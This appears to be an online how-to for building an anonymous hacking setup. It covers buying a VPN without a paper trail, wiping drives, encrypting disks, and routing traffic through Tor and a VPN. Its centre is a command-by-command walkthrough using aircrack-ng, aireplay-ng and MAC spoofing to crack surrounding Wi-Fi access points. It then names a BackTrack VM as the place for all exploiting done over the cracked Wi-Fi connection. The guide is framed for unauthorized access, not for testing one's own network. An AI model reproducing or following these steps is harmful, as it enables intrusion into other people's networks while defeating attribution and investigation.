VPN Account without paper trail

  • Purchase prepaid visa card with cash
  • Purchase Bitcoins with Money Order
  • Donate Bitcoins to different account
  • Purchase VPN account with bitcoins

VPN ServicesoVPN.to

Step One

  • Enable Boot and Setup page BIOS password
  • Turn computer on, press key to enter Setup. Usually F1, F2, F11, Del, something similar. Then go to the Security tab

Step Two

  • Boot Ubuntu LiveCD to cleanly wipe hard drive
  • After booting LiveCD, open up terminal and type sudo “fdisk -l” to get a list of disks and partitions
  • Use the wipe command on each partition that is listed with the above commandie “sudo wipe /dev/sda1”
  • Repeat for each drive (sdb, sdc) and each partition (sda1, sda2)
  • Reboot

Step Three

  • Install Windows 7 Ultimate and shred free space
  • Boot from Windows disk and install
  • After clean install, install fileshredder http://www.fileshredder.org
  • Run fileshredder using “Secure Erasing Algorithm with 7 passes”Reboot
  • Enable BitLocker drive encryption. Safe key to USB stick
  • Reboot
  • Run Windows Update
  • Turn off Swap space (Control Panel > System and Security > Advanced > Performance > Disable Virtual Memory
  • Reboot

Step Four

Install VMWare

Step Five

  • BackTrack 5 R1 Virtual Machine to be used for cracking WiFi
  • Open VMWare and import the BackTrack 5 R1 VMWare image (link above)
  • Set VM to 256MB RAM
  • Create a Network Adapter (VMNet0)
  • Directly attach USB wifi adapter (VM > Removable Devices > Check Wireless Adapter)
  • Bridge eth0 to wlan0

Easy Mode method:

  • apt-get -y install network-manager
  • rm /etc/network/interfaces
  • reboot
  • Open Network Manager
  • eth0 IPv4 Settings > Method > Shared to other computers
  • Use aircrack-ng to crack surrounding AP’s
  • airmon-ng stop wlan0
  • ifconfig wlan0 down
  • macchanger –mac 00:11:22:33:44:55 wlan0
  • airmon-ng start wlan0
  • airodump-ng wlan0
  • Get SSID and channel for next step
  • airodump-ng -c (channel #) -w (file name) –bssid (bssid) wlan0
  • Let this sit until you have plenty of data points
  • aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) wlan0
  • Look for successful ACK
  • aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
  • Also let this run for a while, look for 10k ACK’s aircrack-ng -b (bssid) (file name-01.cap)
  • Connect to SSID

Step Six

  • Pfsense install to use VPN
  • 8 GB of Hard Drive space
  • 256MB RAM
  • Two Network Adapters (VMnet0 and VMnet1)
  • After installing from the downloaded ISO, set WAN to VMnet0 and LAN to VMnet1. You should get a WAN dhcp IP from VM#1
  • Assign LAN IP and enable DHCP (192.168.1.1/24)

Step Seven

Step Eight

  • BackTrack 5 R1 VM for all cracking/penetration testing/everything
  • Import another BT5 vmware image
  • 512MB RAM
  • One Network Adapter (VMnet1)
  • Set default Gateway to match the IP of your previous VM (TorBox)
  • ALL data will now travel securely (BT5 > Tor Network > Over VPN > Internet using cracked wifi)
  • Download Tor Bundle from torproject.org
  • Use FireFox Portable bunlded with Tor Bundle (more secure)
  • All exploiting/penetration testing, cracking, etc is done on this VM

Step Nine

Encrypt All VM’s

Open settings for Each VM in VMWare

Under Options > Enable Encryption

Set secure password
